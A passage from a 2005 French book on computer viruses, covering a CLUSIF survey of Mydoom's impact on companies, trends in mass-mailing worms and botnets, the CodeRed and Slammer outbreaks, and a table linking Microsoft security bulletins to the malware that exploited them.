PAGET_Ch09 Page 255 Lundi, 11. avril 2005 5:23 17
255
9.4 Le poids d’une infection virale pour l’entreprise
hender les conséquences d’une attaque virale en France et en faire bénéficier l’ensemble des acteurs de la profession. Environ 300 entreprises, membres du CLUSIF, reçurent le questionnaire. 35 y répondirent. La suite de ce paragraphe est une reprise du texte que j’ai écrit à la demande du CLUSIF et qui est visible sur son site1. Mydoom avait été rencontré dans 97 % des cas (34 cas contre 1). Circulant principalement au travers de la messagerie électronique, il avait généralement été bloqué. Le nombre de courriels interceptés était fréquemment connu. Il montrait l’importance du phénomène et se déclinait selon le tableau suivant. Tableau 9.5 — W32/Mydoom@MM – courriels bloqués par entreprise (source CLUSIF) Nombre de courriels bloqués par entreprise
Nombre de réponses
Plus de 100 000
2
Entre 10 000 et 100 000
13
Entre 1000 et 10 000
10
Moins de 1 000
4
Chiffre non communiqué
6
Le virus s’est propagé au sein de l’entreprise dans 6 cas seulement. Il a alors impacté entre 2 et 300 machines. N’ayant pas de module destructeur l’infection a été maîtrisée sans effet secondaire notable.
© Dunod – La photocopie non autorisée est un délit
9 entreprises ont, malgré tout, signalé des dommages. Il s’agissait généralement d’un ralentissement des échanges de mail allant parfois jusqu’au blocage (plusieurs heures) ou à l’isolement de la messagerie (2 heures). Une entreprise nous a signalé un problème d’atteinte à son image de marque. Beaucoup entreprises se sont plaintes du nombre important de messages d’alerte erronés en provenance des anti-virus de sociétés extérieures. Ce phénomène lié à la technique d’usurpation d’adresse n’est pas nouveau. Il a été cependant particulièrement visible à cette occasion et ne cesse encore de croître aujourd’hui. Rappelons qu’ayant collecté des adresses électroniques sur le poste infecté, le virus utilisait celles-ci comme émetteurs apparents. Configuré pour alerter l’expéditeur, l’anti-virus interceptant le message redirigeait alors l’alarme vers cette fausse adresse.
1. CLUSIF, observatoire infovir0911.asp.
d’impact :
https://www.clusif.asso.fr/fr/production/infovir/
PAGET_Ch09 Page 256 Lundi, 11. avril 2005 5:23 17
256
Chapitre 9. Organiser la lutte anti-virale
Tableau 9.6 — Mydoom – alertes erronées (source CLUSIF) Nombre de messages d’alertes erronés reçus par entreprise
Nombre de réponses
Plus de 100 000
1
Entre 10 000 et 100 000
1
Entre 1000 et 10 000
1
Moins de 1000
7
Chiffre non communiqué
25
14 entreprises ont estimé leurs pertes financières. Dans la majorité des cas, ces entreprises estimaient l’impact financier comme nul (dans 7 cas) ou faible (dans 5 cas). L’une d’entre elles expliqua ce fait en indiquant que « le coût interne fait partie intégrante de nos politiques de sécurité ». D’autres comparèrent ce type de dépense à une campagne de traitement de messages non sollicités. Seules deux entreprises nous ont indiqué un chiffre relativement important ; pour l’une, 20 jours/homme, pour l’autre 20.000 Euros. Sur les 34 entreprises qui ont vu le virus, 16 sont à même de préciser le jour et l’heure de la première alerte. Pour 15 d’entre elles, celle ci eut lieu avant le 27 janvier 16 heures (soit moins de 24 heures après le début de l’alerte). Rappelons que selon les experts, le virus a été repéré pour la première fois le 26 janvier 2003 vers 19h (c.à.d 18h GMT). Tableau 9.7 — Mydoom – Échelonnement des premières alertes (source CLUSIF) Première alerte signalée par l’entreprise au regard de la première alerte mondiale.
Nombre de réponses cumulées
T0
26 janvier 2004
19h.
1
T0 + 5 heures
26 janvier 2004
23h59
4=1+3
T0 +18 heures
27 janvier 2004
13h
13 = 9 + 3 + 1
T0 +21 heures
27 janvier 2004
16h
15 = 2 + 9 + 3 + 1
Au delà de T0 + 21 ou avec heure non communiquée
20
Si l’on ajoute à ces précédentes données les entreprises n’ayant communiqué que le jour de la première alerte, on obtient le tableau suivant :
PAGET_Ch09 Page 257 Lundi, 11. avril 2005 5:23 17
257
9.4 Le poids d’une infection virale pour l’entreprise
Tableau 9.8 — Mydoom – Échelonnement total des alertes (source CLUSIF) Première alerte signalée par l’entreprise au regard de la première alerte mondiale.
Nombre de réponses cumulées
Jour J
26 janvier 2004
4
J +1
27 janvier 2004
19 = 4 + 15
J +2
28 janvier 2004
20 = 4 + 15 + 1
J+4
30 janvier 2004
21 = 1 + 4 + 15 + 1
J +6
1er février 2004
22 = 1 + 1 + 4 + 15 + 1
J+7
2 février 2004
23 = 1 + 1 + 1 + 4 + 15 + 1
Date non communiquée : 12
31 entreprises sur 35 on su indiquer le degré de mise à jour de leur anti-virus. Dans 77 % des cas l’anti-virus détectait et éradiquait le virus. Dans certains cas seul l’anti-virus de la passerelle de messagerie était à jour ; celui du poste de travail dû être remis à niveau. C’est ainsi que 48 % des entreprises indiquèrent avoir cependant dû effectuer une mise à jour. À la lecture des remarques que quelques responsables d’entreprises transmirent au CLUSIF, il apparu que Mydoom.A était considéré comme la plus forte infection que ces entreprises avaient du subir jusqu’alors. L’impact financier en terme de coût direct semblait malgré tout proche de zéro.
© Dunod – La photocopie non autorisée est un délit
Alors que l’anti-virus du poste de travail dû parfois subir une mise à jour d’urgence, les anti-virus situés sur les passerelles de messagerie semblaient avoir convenablement joué leur rôle. Les processus de mise à jour automatique et de filtrage des extensions suspectes avaient, dans l’ensemble, correctement fonctionné. Le virus a certainement été la cause majeure de l’engorgement des messageries et de la perte de disponibilité par surcharge du trafic réseau. Il ne faut cependant pas sous-estimer le surcroît de trafic engendré par les anti-virus eux même qui, mal configurés, retournaient vers de nombreux correspondants des messages d’alerte par ailleurs erronés.
PAGET_Ch09 Page 258 Lundi, 11. avril 2005 5:23 17
PAGET_Ch10 Page 259 Lundi, 11. avril 2005 5:23 17
10 Dernières évolutions et perspectives
Dans le chapitre 2 nous avons abordé l’historique du phénomène virus. Après en avoir détaillé leur fonctionnement dans les chapitres suivant, nous nous sommes attachés à comprendre comment lutter à armes égales avec eux. J’espère vous avoir fait comprendre qu’il était aisé d’obtenir un niveau de sécurité raisonnable avec les produits du commerce, une bonne configuration de son système et un peu de bon sens. Tentons maintenant un regard vers le futur. Les vers sont sur le devant de la scène ; leur nombre ne cesse de croître et leurs auteurs sont toujours intéressés à en créer de nouveaux. Ils utilisent pleinement Internet et les diverses autres infrastructures réseau ; ils optimisent leur vitesse de propagation et distribuent des outils de piratage. L’envoi massif et répété de courriers non sollicités devient la principale plaie du net. Nous verrons que certains virus prennent part à cette distribution. Ce chapitre démontrera également que les auteurs actuels ne cherchent ni à détruire, ni à détériorer des informations ; plus discret, leur but est cependant souvent plus préjudiciable. Dans les années 1992 / 1995 quelques études cherchaient à mesurer la vitesse de propagation des virus dans un pays donné. À cette époque, leur origine – locale ou non – était un facteur déterminant. Ce temps est maintenant révolu. La mondialisation et l’instantanéité s’applique aussi au phénomène virus. Pour espérer atteindre son but, le virus doit avoir recours à une propagation aussi rapide que massive, parfois explosive. La discrétion peut aider, mais elle devient secondaire. Certains virus semblent capables de perdurer alors même que d’autres disparaissent spontanément ou volontairement. Leur caractère explosif ne garantie
PAGET_Ch10 Page 260 Lundi, 11. avril 2005 5:23 17
260
Chapitre 10. Dernières évolutions et perspectives
pas leur persistance. Celle ci ne semble d’ailleurs pas forcément souhaitée. Les objectifs sont autres. Ce dernier chapitre va tenter de les dévoiler et d’en montrer toutes leurs perversités.
10.1 LES BUTS RECHERCHÉS Depuis le 1er janvier 2004, plus de 40 000 nouveaux programmes malveillants ont été recensés. Il s’agit donc de plus de 4 000 nouveaux malwares chaque mois. À la fin 2004, les compteurs de certains anti-virus dépasseront la barre des 130 000 virus, chevaux de Troie, espiogiciels et variantes.
Figure 10.1 — Évolution de la menace
La plupart de ces malveillances restent cantonnées dans nos collections. Leur durée de vie peut-être considérée comme nulle. Quelques-unes alimentent nos TOP-10 et sont ainsi sur le devant de scène pour une période plus ou moins longue. Pour mieux envahir nos machines, les objectifs semblent technologiques, pragmatiques, ciblés et fonctionnels.
Technologique • • • • • • •
savoir se mettre à jour, s’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille, intégrer de multiples techniques de propagation, cibler le particulier comme l’entreprise, être anonyme, séduire l’utilisateur ou s’en affranchir, tirer avantage des nombreuses vulnérabilités découvertes,
PAGET_Ch10 Page 261 Lundi, 11. avril 2005 5:23 17
261
10.2 Envahir nos machines
Pragmatique, ciblé et fonctionnel • • • • •
ouvrir la voie à d’autres formes d’attaques, distribuer une porte dérobée, porter atteinte à la confidentialité, collecter des informations diverses et des mots de passe, distribuer des minis serveurs relais afin de faciliter l’envoi de courriers non sollicités.
10.2 ENVAHIR NOS MACHINES Nous aurions pu croire un moment qu’après un certain engouement à la création, et peut être un secret espoir de se voir cité dans les médias, la passion des auteurs de virus pour les mass-mailers allait retomber. Leur nombre en fait ne cesse d’augmenter. Tout comme il devint difficile en 1998 de comptabiliser les macro-virus et leurs variantes, il en est aujourd’hui de même pour ces envahisseurs de boites aux lettres électroniques. La grande majorité des virus mis en exergue depuis l’an 2000 fait partie de cette catégorie. Ils sont alors fréquemment annoncés avec un risque élevé comme le montre le tableau ci-dessous qui décline, par catégorie, le nombre approximatif de virus ayant, un moment, entraînés une alerte de niveau Moyen à Élevée chez McAfee. Tableau 10.1 — Typologie des virus ayant entraînés une alerte chez McAfee VIRUS AYANT ENTRAÎNÉS UNE ALERTE NOTABLE
1999
2000
MACRO-VIRUS
4
1
VIRUS DE SCRIPT
1
5
3
VIRUS PRG (W95/W32)
3
3
8
.WORM
1
2
2
AUTRES
12
1
4
© Dunod – La photocopie non autorisée est un délit
MASS-MAILERS
ANNÉE
2001
2002
2003
2004
10
19
45
3
3
1
L’inflexion de tendance des véritables vers (.worm) au détriment des massmailers n’est pas franchement décelable dans ce tableau. Elle me semble pourtant s’annoncer. Après Codered en 2001, d’autres exemples peuvent être cités : • Slammer, Lovsan et Nachi en 2003. • Sasser en 2004.
PAGET_Ch10 Page 262 Lundi, 11. avril 2005 5:23 17
262
Chapitre 10. Dernières évolutions et perspectives
Les courbes de ces alertes rejoingnent celles du nombre total estimé de virus par catégorie. Dans un premier temps macro-virus (exemple : W97M/Melissa@MM), ensuite utilisant le VBScript (exemple : VBS/LoveLetter@MM), la tendance actuelle montre une recrudescence des virus programme (exemple W32/Nimda@MM) dont l’intérêt réside dans la capacité d’intégrer dans un même ensemble plusieurs techniques de propagation (messagerie, disques partagés, serveurs IIS, etc.).
Figure 10.2 — Estimation du nombre total de mass-mailers par catégorie
Alors que leur nombre n’atteignait pas 350 au 1er janvier 2002, le chiffre actuel des mass-mailers dépasse peut-être aujourd’hui les 10 000.
Figure 10.3 — Prédominance des mass-mailers dans le TOP-10 du CLUSIF
PAGET_Ch10 Page 263 Lundi, 11. avril 2005 5:23 17
10.2 Envahir nos machines
263
Cette prédominance est mondialement visible dans les divers TOP-10. En France, depuis le début 2000, le CLUSIF collecte les alertes que lui remontent certains de ses membres. Grâce à ce travail collectif il est possible d’établir une table de prévalence trimestrielle qui regroupe les virus les plus communément rencontrés sur notre territoire. Depuis plus de 2 ans, ce sont principalement des mass-mailers. Rappelons qu’il existe deux types de « mass-mailers » : • Le suffixe @M est dédié aux premiers d’entre eux. Ils ont une propagation lente et ciblent une seule boîte aux lettres à chacune de leur activation. • Les seconds ciblent plusieurs boîtes aux lettres à chacune de leur activation et ont une propagation plus explosive. Le suffixe @MM leur est dédié. La plate-forme macro-virus (exemple : W97M/Melissa@MM) est de moins en moins répandue. La mode est passée. Alors que plus de 60 virus de cette famille furent créés en 2000, on en compta moins de 20 en 2001. Ce chiffre fut à peine dépassé en 2002. Cette disparition se retrouve au niveau de l’Observatoire Virus du CLUSIF qui n’en cite plus aucun depuis 3ème trimestre 2001.
© Dunod – La photocopie non autorisée est un délit
Figure 10.4 — Évolution du nombre des mass-mailers (macro-virus)
Les plates-formes VBScript (exemple : VBS/LoveLetter@MM) et JAVAScript (JS/ Kak@M) sont en perte de vitesse. La mode passe. Alors que plus de 160 virus de cette famille furent créés en 2000, on en compta moins de 90 en 2001. Cette tendance se retrouve également au niveau de l’Observatoire Virus qui, depuis le 3ème trimestre 2003, n’en cite plus dans son TOP-10.
Figure 10.5 — Évolution du nombre des « mass-mailers » (Script)
PAGET_Ch10 Page 264 Lundi, 11. avril 2005 5:23 17
264
Chapitre 10. Dernières évolutions et perspectives
La plate-forme 32 bits (exemple W32/Nimda@MM, W95/Babylonia@M) est en plein essor. Le virus programme est à la mode. Plus de 130 virus de cette famille furent créés en 2001 et la progression est exponentielle. Cet engouement se retrouve bien entendu dans le TOP-10 avec des virus quasi exclusivement de ce type.
Figure 10.6 — Évolution du nombre des « mass-mailers » (virus programme)
L’intérêt de ces fichiers binaires s’explique par le fait qu’un code unique peut intégrer diverses techniques d’infection tout en distribuant, en sus, des outils de piratage qui aideront son auteur à poursuivre ses projets. Au fil des mois, le nombre des entreprises remontant leurs alertes vers le CLUSIF a peu varié. Leurs statistiques mensuelles ont été transmises sans la moindre discontinuité. Cette rigueur permet de dater la première percée des mass-mailers dans la vie quotidienne. Il s’agit de mai 2001. La figure 10.7 nous montre aussi que malgré les progrès de nos anti-virus et ceux des procédures de sécurité mises en œuvre, des intrus sans complexité particulière et non innovants ont toujours su tromper la vigilance.
Figure 10.7 — Nombre d’alertes remontées à l’Observatoire Virus du CLUSIF
(années 2000, 2001 et 2002)
PAGET_Ch10 Page 265 Lundi, 11. avril 2005 5:23 17
265
10.2 Envahir nos machines
Jusqu’à la fin 2003, en période de crise, environ 140 e-mails sur 10 000 (1,4 %) sont infectés. Ce nombre est divisé par 2 en période normale. L’arrivée de Mydoom marque le début d’une seconde époque. Apparu en fin de mois, le virus fait néanmoins exploser les compteurs. Selon certaines sources le taux de mails infectés dépassa un moment les 30 %1. Lissé sur un mois, il se limite à 3,5 %.
Figure 10.8 — L’effet Mydoom : estimation mensuelle du nombre
de mails infectés pour 10 000 mails en circulation
Aujourd’hui Mydoom appartient au passé mais les utilisateurs de l’informatique semblent toujours aussi crédules et vulnérables.
© Dunod – La photocopie non autorisée est un délit
Au mois de juin 2004, les statistiques semblaient montrer qu’en France 21 % des e-mails à l’entrée des messageries des grandes entreprises étaient liés à la propagation virale.
Figure 10.9 — Estimation mensuelle du nombre de mails infectés
pour 10 000 mails en circulation 1. www.secuserve.com.
PAGET_Ch10 Page 266 Lundi, 11. avril 2005 5:23 17
266
Chapitre 10. Dernières évolutions et perspectives
Si le pourcentage de courriels infectés ne cesse de croître alors que les entreprises s’estiment bien protégées et indiquent des faibles coûts au regard des attaques virales, c’est que les virus actuels expédient énormément plus d’e-mails depuis une seule adresse IP d’origine que par le passé. C’est aussi parce que le double-clic inconsidéré reste monnaie courante chez bon nombre de particuliers. Ils ne protègent pas correctement leurs stations personnelles et sont les principales victimes et les principaux pollueurs. Ce pourcentage supérieur à 20 % est néanmoins surprenant ; il m’a étonné moimême et, alors que je terminais la rédaction de ce livre. J’ai donc interrogé certaines grandes sociétés qui m’ont alors fourni leurs statistiques : • la première société ne m’a fourni qu’une estimation globale : entre 7 et 9 % tout au long de l’année, • la seconde à confirmé mes chiffres sans me fournir ses propres statistiques, • 4 sociétés m’ont fourni des statistiques : – 2 après filtrage des extensions. – 2 avant filtrage.
Figure 10.10 — Importance des e-mails avec virus
Ce résultat amène deux commentaires. Le premier concerne la technique de filtrage amont des extensions. Elle est plus ou moins efficace selon les sociétés. Certaines d’entres-elles devraient sans doute revoir la liste de leurs extensions interdites. Si cette technique est menée de manière stricte, elle semble correctement isoler l’entreprise. Si elle est laxiste, le filtrage devient vite illusoire. En second lieu, ces courbes confirment les statistiques émises par le CLUSIF : les mass-mailers circulent à foison. Ils rentrent difficilement dans les entreprises (nos statistiques concernent des interceptions de virus, pas des infections) mais sont innombrables sur le NET. Ils sont sans aucun doute en provenance des particuliers qui négligent les règles de base en matière de sécurité et qui, du fait de l’ADSL, restent connectés 24h sur 24.
PAGET_Ch10 Page 267 Lundi, 11. avril 2005 5:23 17
10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille
267
Notons enfin l’apparition depuis la fin 2003 des programmes de type robots qu’on rencontre de plus en plus fréquemment. Les concepteurs d’anti-virus intègrent chaque jour dans leurs bases des dizaines de ces programmes connus sous les noms de Spybot, Gaobot et autres Sdbot… Ces derniers venus sont eux même des vers à propagation lente. Chaque variante est créée dans un but précis. Si vous ou votre entreprise êtes ciblés, vous seuls en possédez la souche. Une fois sur votre machine, ils attendent des ordres venant d’un serveur distant. Ils capturent de l’information, participent depuis chez vous à des attaques groupées (DDoS) et servent de relais de spamming, de phishing, d’adwares et de spywares. Leur durée de vie est courte, c’est leur nombre qui fait leur force. Ils sont créés, ils sont distribués afin de créer un botnet et rapidement utilisés. Ils attendent d’être sollicités par leur concepteur ou par ceux qui louent leurs services. Certains outils commerciaux douteux s’en servent comme intermédiaires.
10.3 S’AFFRANCHIR DE L’UTILISATEUR, GAGNER EN VITESSE, DIMINUER EN TAILLE Les auteurs de virus cherchent encore et toujours à augmenter la rapidité de propagation de leur création. C’est un autre objectif du moment. La parfaite exploitation de l’environnement réseau et l’exploitation de nouvelles vulnérabilités par des vers tels que W32/Codered.A.worm (alias W32/Bady) ou W32/SQLSlammer.worm montrent qu’en quelques dizaines de minutes, il est maintenant possible d’envahir la planète.
© Dunod – La photocopie non autorisée est un délit
Pour gagner en vitesse, ces nouveaux venus doivent avoir des routines d’activation automatique sans la nécessité d’une action humaine (double-clic, prévisualisation…).
10.3.1 CODERED En juin 2001, 6 millions de sites web de par le monde utilisaient Microsoft Internet Information Server1. Principal concurrent d’Apache (18,5 millions de sites gérés), IIS, permet le partage des informations, la création et la publication d’applications, l’hébergement et la gestion des sites. Ce même mois, d’importantes failles sont découvertes. La société eEye – spécialisée dans la sécurité, et éditeur d’une solution pare-feu logicielle dédié à IIS – décou-
1. NETCRAFT (2001), June 2001 – Web Server Survey. http://www.netcraft.com/Survey/ Reports/0106/.
PAGET_Ch10 Page 268 Lundi, 11. avril 2005 5:23 17
268
Chapitre 10. Dernières évolutions et perspectives
vre l’une d’entres elles1. Elle alerte Microsoft sur un problème de dépassement de capacité de la mémoire tampon. Celui ci reconnaît le défaut et propose un correctif2. Comme à l’habitude, ce furent surtout les auteurs de virus qui portèrent attention à cette faille. Ils imaginèrent un nouveau ver. Injecté le 12 juillet, les premiers indices de sa présence apparaissent le lendemain3. L’étude du code démontre les spécificités du ver : • La propagation se fait exclusivement en mémoire vive ; aucun code n’est écrit sur le disque dur. C’est au travers du flux HTTP que la détection doit avoir lieu. • Du 1 au 19 du mois, le ver génère aléatoirement une liste d’adresses IP et envoie vers celles-ci des répliques de lui même par le port TCP/IP 80. • Entre le 20 et le 27 du mois, le ver lance une attaque du type « déni de service distribué » (DDoS) à l’encontre du site Internet de la Maison Blanche. • Du 28 à la fin du mois, le ver est inactif. Le générateur d’adresse est simpliste (valeur de départ fixe) et la propagation du virus s’en trouve affectée. Le 19 juillet 2001, une variante B apparaît avec un nouveau générateur d’adresses IP. Celui ci utilise une adresse de départ aléatoire. En conséquence, chaque ordinateur infecté est supposé atteindre des séries de cibles différentes. C’est une modification qui change tout : plus de 350.000 machines seront infectées en 13 heures. Selon les études le seuil des 300.000 machines est atteint en 4 heures4 ou en 9 heures5. Alors que des ralentissements et des arrêts système sporadiques commencent à se faire sentir, la date du 20 est atteinte et l’infection s’arrête avec ces chiffres. Plusieurs animations ont été produites pour montrer la rapidité de propagation de CodeRed. Jeff Brown, de CAIDA/UCSD (University of California, San Diego) en propose une qui retrace l’infection du 19 juillet de 5 minutes en 5 minutes6.
1. EEYE (juin 2001), All versions of Microsoft Internet Information Services Remote buffer overflow. (SYSTEM Level Access). http://www.eeye.com/html/Research/Advisories/AD20010618.html. 2. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise [MS01-033]. 3. MAIFFRET, Marc, (juillet 2001), Full analysis of the .ida "Code Red" worm. http://archives.neohapsis.com/archives/ntbugtraq/2001-q3/0016.html. 4. CAIDA, Cooperative Association for Internet Data Analysis (juin 2002). CAIDA Analysis of Code-Red. http://www.caida.org/analysis/security/code-red/. 5. SANS, SysAdmin, Audit, Network, Security Institute (2001). Practical Assignment for SANS GSEC Version 1.2E – Code Red Worm Invasion. Sharon Bristow. http://www.sans.org/rr/paper.php?id=93. 6. BROWN Jeff, (Juin 2001). Animated gif of geographic spread of Code-Red worm, http:// www.caida.org/analysis/security/code-red/newframes-small-log.gif.
PAGET_Ch10 Page 269 Lundi, 11. avril 2005 5:23 17
10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille
269
© Dunod – La photocopie non autorisée est un délit
Figure 10.11 — Propagation de CodeRed le 19 juillet 2001 (Source CAIDA)
10.3.2 SLAMMER Un an et demi après Codered, apparaît Slammer. Les leçons apprises n’ont pas vraiment servi. Le patch de sécurité bloquant la faille utilisée était connu depuis juillet 20021. De nombreuses machines étaient vulnérables : elles n’avaient reçu ni le patch, ni le service pack 3 pour Microsoft SQL 2000 et Microsoft Desktop Engine 2000. De par sa conception, Slammer généra des arrêts de service en exploitant les faiblesses de l’architecture réseau et des protocoles (attaque en déni de service distribué 1. MS02-039 – Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.
PAGET_Ch10 Page 270 Lundi, 11. avril 2005 5:23 17
270
Chapitre 10. Dernières évolutions et perspectives
– DDoS). Tout comme la première version de CodeRed en juillet 2001, sa propagation se fit exclusivement en mémoire vive. Aucun code viral ne fut écrit sur le disque dur. C’est au travers du port de service UDP 1434 que le ver envoya sa trame de données. Une fois la machine compromise, le ver cherchait à se réexpédier via ce même port vers des séries d’adresses IP qu’il générait aléatoirement au travers d’une boucle infinie. Consommant ainsi de plus en plus de bande passante, il en résulta un ralentissant du trafic allant même jusqu’au blocage dans certaines zones du WEB. L’attaque débuta le samedi 25 janvier 2003 à 5h30 GMT1. En 3 minutes, Slammer avait atteint son niveau maximal d’activité en effectuant 55 millions de scans à la seconde. En théorie, les spécialistes estimèrent qu’une machine infectée ayant un accès à 100 Mb aurait été à même d’effectuer 30.000 scans à la seconde. En 10 minutes, 90 % des machines vulnérables étaient atteintes et le niveau d’activité du ver baissa faute de bande passante suffisante. Selon les sources c’est entre 75.000 et 350.000 machines qui furent infectées2. Le chiffre le plus élevé est sans doute le plus probable. L’impact le plus important a été rencontré en Corée du Sud dès le début de l’attaque3. Le mardi suivant, le réseau de la poste italienne subit à son tour d’importants blocages qui entraînèrent de graves disfonctionnements dans ses 14.000 agences4. D’autres pays tels que les États-Unis, l’Asie du Sud Est, le Japon et l’Inde ont eux aussi été fortement touchés. L’une des conséquences du ver fut l’indisponibilité de 5 des 13 serveurs de noms DNS5. Avec Slammer, nous semblions aussi assister à une recherche d’optimisation dans la taille du code. Nimda pesait 60 kilo-octets, CodeRed, 4 kilo-octets alors qu’ici Slammer se limitait à 376 octets.
1. CAIDA, (2003), Analysis of the Sapphire Worm – A joint effort of CAIDA, ICSI, Silicon Defense, UC Berkeley EECS and UC San Diego CSE. http://www.caida.org/analysis/security/sapphire. 2. SECURITYFOCUS (11 juin 2003), Antivirus industry steamed over virus article, college class. http://www.securityfocus.com/news/5698 SECURITYFOCUS, (15 août 2003), Blaster’s Microsoft Attack Fizzles. http://www.securityfocus.org/news/6736. 3. COMPUTER WORLD (27 février 2003), Local networks unscathed by Slammer virus, Computers & Security, Volume 8 N°4 (1989), pp 325-344. http://www.phangnaughton.com/sophos_clippings/feb03/phil/022703CW.pdf 4. AFP, (2003), Italy hit by serious Internet attack. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm. 5. SEARCHSECURITY, (25 janvier 2003), Update: SQL worm slows Internet; some root DNS servers down. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm.
PAGET_Ch10 Page 271 Lundi, 11. avril 2005 5:23 17
10.4 Utiliser des failles
271
La rapidité de propagation fut aussi un point fort de cette histoire. Des experts ont néanmoins découvert plusieurs faiblesses dans son générateur aléatoire. Celles ci ont entraîné un déficit de qualité dans la distribution des adresses IP servant de base à la génération des adresses cibles. Certains s’attendent donc à d’autres propagations encore plus explosives et dangereuses dans un futur plus ou moins proche. Il faut enfin se réjouir de l’absence de charge finale (payload). Si un module de destruction quelconque avait été associé au ver, les dégâts auraient pu s’avérer catastrophiques.
10.4 UTILISER DES FAILLES Il est possible de définir une vulnérabilité comme une caractéristique d’un système informatique qui permet, à un instant donné, à une personne d’entraver son fonctionnement normal. Cette caractéristique peut aussi permettre à un utilisateur non autorisé de prendre le contrôle de ce système. Face à elle se situe l’exploit. C’est un programme ou une technique permettant d’utiliser la vulnérabilité découverte au sein du logiciel informatique prédéfini.
© Dunod – La photocopie non autorisée est un délit
L’étalage de nouvelles vulnérabilités et la mise à disposition de codes correspondants sont des aides à la conception. Selon le CERT (Coordination center computer Emergency Response Team), leur nombre a été multiplié par 10 en 3 ans1. Windows en a été la principale victime.
Figure 10.12 — Évolution du nombre des vulnérabilités entre 1995 et 2003
1. CERT (7 mai 2003), CERT/CC Overview, Disponibles à l’adresse : http://www.cert.org/present/cert-overview-trends/module-1.pdf.
PAGET_Ch10 Page 272 Lundi, 11. avril 2005 5:23 17
272
Chapitre 10. Dernières évolutions et perspectives
Il serait fastidieux de lister l’ensemble des vulnérabilités qui peuvent, ou qui pourraient permettre à un virus de se propager ; il y en a plusieurs centaines. Les principales ont déjà été citées dans le chapitre dédié aux vers. Elles sont, pour la plupart, rappelées dans le tableau présenté plus avant dans ce paragraphe. L’importance du phénomène d’est plus à démontrer. Le nombre de vulnérabilités augmente, le nombre d’exploits aussi. La facilité de propagation de W32/Lovsan.A.worm prouve qu’il reste bien du chemin à parcourir.
Figure 10.13 — Seul une alerte majeur incite les utilisateurs à appliquer les patchs –
Exemple de W32/Lovsan.worm Tableau 10.2 — Principales vulnérabilités liées à l’environnement Microsoft RÉFÉRENCE MICROSOFT
DÉSIGNATION DE LA VULNÉRABILITÉ
QUELQUES EXEMPLES
MS99-001
Exposure in Forms 2.0 TextBox Control that allows data to be read from user’s Clipboard
W97M/Footprint
MS99-002
Word 97 Template
W97M/ATU.A
MS99-007
Taskpads Scripting Vulnerability
Active-X hostile
MS99-011
« DHTML Edit » Vulnerability
Active-X hostile
MS99-032
Scriptlet typelib /Eyedog
JS/Kak@M VBS/Bubbleboy@MM
MS99-042
IFRAME ExecCommand
AX/Frame-Exploit
MS99-048
« Active Setup Control » Vulnerability
Active-X hostile
MS00-011
VM File Reading Vulnerability
Java hostile
PAGET_Ch10 Page 273 Lundi, 11. avril 2005 5:23 17
273
10.4 Utiliser des failles
© Dunod – La photocopie non autorisée est un délit
RÉFÉRENCE MICROSOFT
DÉSIGNATION DE LA VULNÉRABILITÉ
QUELQUES EXEMPLES
MS00-034
Office 2000 UA Control Scripting
VBS/Davinia@MM AX/OUA-Exploit
MS00-037
HTML Help File Code Execution
W32/Blebla.B@MM VBS/Exploit-AM
MS00-052
Relative Shell Path
W32/CodeRed.C.worm (Trojan)
MS00-075
Microsoft VM ActiveX Component
VBS/Loding.A@MM W32/Korvar@MM
MS00-078
Web Server Folder Traversal
SunOS/BoxPoison (aspect gachette) W32/Nimda.A@MM
MS00-081
New Variant of VM File Reading Vulnerability
Java hostile
MS01-010
Outlook, Outlook Express VCard Handler Contains Unchecked Buffer
Malformed vCard Exploit
MS01-020
Incorrect MIME Header CAN-2001-0154
W32/Fever@M W32/Nimda@MM W32/Badtrans@MM W32/Klez@MM W32/Yaha@MM W32/Frethem@MM W32/Lirva@MM W32/Bugbear@MM
MS01-028
RTF document linked to template can run macros without warning
W97M/Gogaru.A
MS01-033
Unchecked Buffer in Index Server ISAAPI Extension Could Enable Web Server Compromise (superseded by MS01-044)
W32/CodeRed.A.worm
MS01-038
Outlook View Control Exposes Unsafe Functionality
AX/OVC-Exploit.demo
MS01-044
Cumulative Patch for IIS
W32/Nimda.A@MM
MS02-005
Cumulative Patch for Internet Explorer
JS/Exploit-Messenger
MS02-008
XMLHTTP Control Can Allow Access to Local Files
Exploit-XMLhttp
MS02-015
Cumulative Patch for Internet Explorer
W32/Eyeveg.worm W32/Mimail@MM
MS02-039
SQL Server UDP Buffer Overflow Remote Exploit
DDoS-SQLhuc W32/SQLSlammer.worm
PAGET_Ch10 Page 274 Lundi, 11. avril 2005 5:23 17
274
Chapitre 10. Dernières évolutions et perspectives
RÉFÉRENCE MICROSOFT
DÉSIGNATION DE LA VULNÉRABILITÉ
QUELQUES EXEMPLES
MS02-047
Cumulative Patch for Internet Explorer
JS/Exploit-DialogArg
MS03-001
Unchecked Buffer in Locator Service Could Lead to Code Execution
W32/Gaobot.AA.worm
MS03-007
Security Update for Microsoft Windows
W32/Nachi.worm
MS03-008
Flaw in Windows Script Engine Could Allow Code Execution
JS/Exploit-MS03-008
MS03-011
Flaw in Microsoft VM Could Enable System Compromise (816093)
Exploit-Byteverify
MS03-014
Cumulative Patch for Outlook Express
W32/Mimail@MM
MS03-026
Buffer Overrun In RPC Interface Could Allow Code Execution
W32/Blaster.worm W32/Lovsan.worm W32/Nachi.worm IRC/Rootbot W32/Plexus.A@MM
MS03-032
Cumulative Patch for Internet Explorer
VBS/Inor & Downloader-ED Exploit-MS03-032.dr
MS03-039
Buffer Overrun In RPCSS Service Could Allow Code Execution
W32/Raleka.worm W32/Gaobot.AA.worm W32/Dinkdink.worm W32/Stdbot.worm
MS03-040
Cumulative Patch for Internet Explorer (828750)
Qhost-1
MS03-043
Buffer Overrun in Messenger Service Could Allow Code Execution
Exploit-MS03-043
MS03-049
Buffer Overrun in the Workstation Service Could Allow Code Execution
Exploit-MS03-049
MS03-051
Buffer Overrun in Microsoft FrontPage Server Extensions Could Allow Code Execution
Exploit-MS03-051
MS04-004
Cumulative Security Update for Internet Explorer (832894)
VBS/Psyme
Cross-Domain Vulnerability
JS/Exploit-WhoFramed
Drag-and-Drop Operation Vulnerability
JS/Exploit-DragDrop
Improper URL Canonicalization Vulnerability
Exploit-URLSpoof.gen
